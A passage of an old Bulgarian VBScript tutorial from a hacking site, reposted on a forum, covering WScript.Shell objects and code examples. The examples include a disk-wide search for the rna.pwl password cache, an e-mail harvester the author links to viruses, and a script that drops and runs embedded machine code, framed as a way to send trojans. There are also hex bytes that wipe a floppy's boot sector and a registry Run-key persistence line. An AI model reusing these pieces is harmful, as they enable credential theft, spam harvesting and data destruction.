В една от точките споменахме за функцията GetSpecialFolder. Тази функция всъщност е метод на обекта WshSpecialFolder. А този обект е наследник на обекта WshShell (предишния разгледан). Т.е. за да имаме достъп до този обект първо трябва да създадем манипулатор към Wscript.Shell, а след това чрез този манипулатор да имаме достъп до GetSpecialFolder (звучи малко объркващо, но е всъщност много просто. А ако все пак не сте наясно с обектите не е зле да прочетете малко литература).
Пример:
Set wsh=CreateObject("Wscript.Shell")
windir = wsh.GetSpecialFolder(0)
Ето ви всички параметри, които можете да зададете към GetSpecialFolder:
Desktop
Favorites
Fonts
MyDocuments
NetHood
PrintHood
Programs
Recent
SendTo
StartMenu
Startup
Templates

Сега да хвърлим и едно око към създаването на shortcut. Обекта който работи с shortcuts е WshShortcut. Той също е наследник на Wscript.Shell и достъп до него може да се получи чрез създаване на инстанция до WshShortCut - wsc=wsh.CreateShortCut("път"). Както помните CreateShortCut е метод към обекта Wscript.Shell (Wshell), връщащ манипулатор към обект от тип WshShortcut. Този обект има следните properties:
wsc.IconLocation "път","индекс" - установява иконката на shortcut-а. "Път" е пътя до файла, а "индекс" е номера на иконата във файла (ако е DLL например)
wsc.FullName - ВРЪЩА пътя до програмата посочена в shortcut
wsc.TargetPath - връща/указва пътя до програмата в shortcut
wsc.WindowStyle - указва това как ще се появи новия прозорец
(1 - нормален размер, 3 - maximized, 7 - minimized)
Едиствения метод в този обект е Save, който запаметява промените.

Последното нещо, което остана да разгледаме в WScript.Shell е изпращането на клавишни комбинации до активния прозорец. Това става чрез метода SendKeys. Форматът и е SendKeys "текст", което праща дадения текст към активния прозорец. Някои специални клавиши като Enter, Escape, Alt, Ctrl, Shift... се изпращат като се загради името им в { }.
Например:{BACKSPACE} праща backspace, {DEL}, {DOWN ARROW}, {LEFT ARROW}, {PAGE DOWN}, {TAB}, {F2}. За клавиште Ctrl, Alt и Shift се праща съответно ^, %, + последвано от клавиша натиснат с тях (напр. {%F4} - Alt+F4)

Остана един последен обект, който няма да разгледам поради липса на мрежова карта. Това може би се досетихте е WshNetwork за работа с компютрите в локална мрежа. Все пак за него можете да черпите информация от MSDN.

Повече информация можете да намерите в сайта на Microsoft на адрес:
http://msdn.microsoft.com
===================================
Примери

- Търсене за определен файл в хард диска на потребителя
В случая кода претърсва целия хард диск за наличен файл rna.pwl и ако има такъв записва пътя до него в c:search.log

Dim fso
Dim outputstream
Set fso = CreateObject("scripting.filesystemobject")
' създаваме изходен файл за запис на резултатите
Set outputstream = fso.createtextfile("c:search.log", True)
CheckFolder (fso.getfolder("c:")), outputstream
MsgBox "Tyrseneto prikliucheno" + vbCrLf + "Prowerete c:search.log za rezultatite"
' рекурсивна процедура претърсваща текущия дял на диска
Sub CheckFolder(CurrentFolder, LogFile)
Dim SearchedFile
Dim strOutput
Dim NewFolder
Dim objFile
' търсим rna.pwl
SearchedFile = "rna.pwl"

For Each objFile In CurrentFolder.Files
If UCase(objFile.Name) = UCase(SearchedFile) Then
strOutput = CStr(objFile.Path)
LogFile.writeline strOutput
End If
Next

'рекурсивно обхожда и останалите директории
For Each NewFolder In CurrentFolder.subFolders
CheckFolder NewFolder, LogFile
Next
End Sub

- Претърсване в определен файл за валидни e-mail адреси

Много модерни вируси правят това ето защо реших, че е добре да ви напиша и такъв код. В случая трябва файл test.txt (или можете да вземете Inbox файла от Netscape), в който има написани e-mail адреси разделени от другите думи със space или друг не буквен символ. Резултата се записва в result.txt като повтарящите e-mail адреси се отстраняват.

Dim fso, f1, f2, filedata, emailstr, c, d, tv1, checkmail
Set fso=CreateObject("Scripting.FileSystemObject")
Set f1=fso.OpenTextFile("test.txt", 1)
filedata=f1.ReadAll
For c=1 to Len(filedata)
If UCase(Mid(filedata,c,4)) = ".COM" or UCase(Mid(filedata,c,4)) = ".NET" or UCase(Mid(filedata,c,4)) = ".ORG" Then

If c<Len(filedata) Then
For d=c-1 to 1 step -1
tv1=Mid(filedata,d,1)
If (Asc(tv1) > 0 and Asc(tv1) < 45) or (Asc(tv1) > 57 and Asc(tv1) < 64) or (asc(tv1) > 90) and (asc(tv1)<95) or (asc(tv1) > 122 and asc(tv1)<256) Then
tv1=Mid(filedata,d+1,c-d+3)
If (c-d < 20) and (InStr(tv1,"@")<>0) and (Asc(Left(tv1,1))>64) Then
If CheckExist(tv1)=0 Then emailstr=emailstr & tv1 & vbCrLf
End If
Exit For
End If
Next
End If

End If
Next
Set f2=fso.CreateTextFile("result.txt", True)
f2.Write(emailstr)
f2.Close
Function CheckExist(emailaddr)
CheckExist=0
For checkmail=1 to Len(emailstr)
If Mid(emailstr,checkmail,Len(emailaddr)) = emailaddr Then CheckExist = 1
Next
End Function

- Създаване на shortcut

Този пример показва как можем да направим Shortcut на Desktop-а. За целта ни трябва файл c:url.txt със следната структура (скрипта създава shortcut до URL):
Име на shortcut-a (1)
URL (1)
Име на shortcut-a (2)
URL (2)
.....

Dim wsh, WshUrlShortcut
Dim fs, listFile
Dim urlString, nameString, desktopFolder
Set fs = CreateObject("Scripting.FileSystemObject")
Set listFile = fs.OpenTextFile("c:url.txt")
Set wsh = CreateObject("WScript.Shell")
desktopFolder = wsh.SpecialFolders("Desktop")
Do While listFile.AtEndOfStream <> True ' цикъл докато стигне края на файла
nameString = listFile.ReadLine
urlString = listFile.ReadLine
Set WshUrlShortcut = wsh.CreateShortcut(desktopFolder & "" & nameString & ".url")
WshUrlShortcut.TargetPath = urlString
WshUrlShortcut.Save
Loop

- Създаване на COM файл
Често има неща, които не можем да свършим чрез скриптиране на VBS - да кажем да напишем код на асемблер както и много други неща. За това нека да видим как можем да направим едни прост COM файл, който сме създали предварително и сме го вкарали в скрипта. Ще правим .COM, а не EXE, понеже EXE файловете за Windows са доста големи, а и няма смисъл да пращаме да кажем троянски кон чрез скрипт, понеже големината на скрипта ще стане колкото на самия троянец.
Ще направим просто COM файлче чрез debug на Windows. Да кажем да изпише Hi на екрана(разбира се това е по-лесно да стане чрез скрипт, но в случая идеята е друга):

C:WINDOWS>debug
-e 102 "Hello",0d,0a,"$"
-a 100
2580:0100 jmp 010a
2580:0102
-a 010a
2580:010A mov DX,102
2580:010D mov AH,09
2580:010F int 21
2580:0111 mov AH,4C
2580:0113 int 21
2580:0115
-h 0115 0100
0215 0015
-r CX
CX 0000
:0015
-n test0.com
-w
Writing 00015 bytes
-q

C:WINDOWS>

Сега ако стартирате test0.com под ДОС ще видите надпис Hello. Сега го debug-ваме (чрез "u 100" в debug) и получаваме:
EB 08 48 65 6C 6C 6F 0D 0A 24 BA 02 01 B4 09 CD 21 B4 4C CD 21
Някви си мизерни 21 байта. Сега просто ще ги запишем в една променлива и след това ще запишем съответсващите им ASCII кодове в даден COM файл. Самото стартиране знаете как става

Dim comstr, c, fso, f1, exec
comstr=Array(&HEB,&H08,&H48,&H65,&H6C,&H6C,&H6F,&H0D,&H0A,&H24,&HBA,&H02,&H01, &HB4,&H09,&HCD,&H21,&HB4,&H4C,&HCD,&H21)
Set fso=CreateObject("Scripting.FileSystemObject")
Set f1=fso.CreateTextFile("c:test.com",True)
For c = 0 to 20
f1.Write(Chr(comstr©))
Next
f1.Close

Set exec=CreateObject("WScript.Shell")
exec.Run("test.com")

Забележете че &H указва че числото е в шестнадесетичен вид
Ето ви малко числа, които биха затрили информацията от първия сектор и първата пътечка на дискетата на първото ви флопи (A:)
B200B400CD13B200B600B500B100B405CD13B44CCD21
Внимание! Не променяйте втория байт на число в интервала 80-87 понеже последствията върху вашия хард диск могат да се укажат фатални!

- Примерна програма, показваща MessageBox на определена дата
Dim sh1, MyDate
Set sh1 = CreateObject("WScript.Shell")
MyDate = #August 27, 2001#
sh1.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunJustATest",WScript.ScriptFullName

If Date=MyDate Then MsgBox "Match"

===================================
Outroduction

Надявам се, че след изчитането на тази статия вече можете самостоятелно да напишете всякакви скриптове. Както видяхте VBS не е чак толкова мощен, но в съчетание с всички ActiveX обекти предоставяни от приложения като IE, OutLook, AutoCAD и какво ли още не, могат да се създадат универсални скриптове във всякакви насоки. Ако имате въпроси за начало прочетете документа отново и ако нещо все пак не може да ви стане ясно пишете ми на e-mail даден по-долу. И все пак не забравяйте, че VBS НЕ е само за писане на вируси както става на последък!

===================================
CopyRights
E-Mail: naskom@gec.rakursy.com
WWW: http://www.bulhack.org

Много добро самоучителче... 4.gif
Relevant Advertise!
g0blin
Статията наистина е много полезна ! 4.gif Не изглежда никак сложно , дори напровтив.Заслужава си да обърнете внимание 8.gif
Jonny
Много полезно 4.gif ще се захвана да го науча 15.gif 20.gif
vIkToRsHeFa
QUOTE(Johnnie_Walker)
Много полезно 4.gif ще се захвана да го науча 15.gif  [20]


Мдам само дето е по гаден от жава скрипта... 20.gif
FrAgMaKeR
Изглежда зарибено, като имам време ще се пробвам на практика, да видя за какво може да ми е полезен.. иначе JavaScript RulZ !!! 9.gif
Това е "lo-fi" версия на нашия форум. За да видите пълната версия, моля натиснете тук.
Invision Power Board © 2001-2018 Invision Power Services, Inc.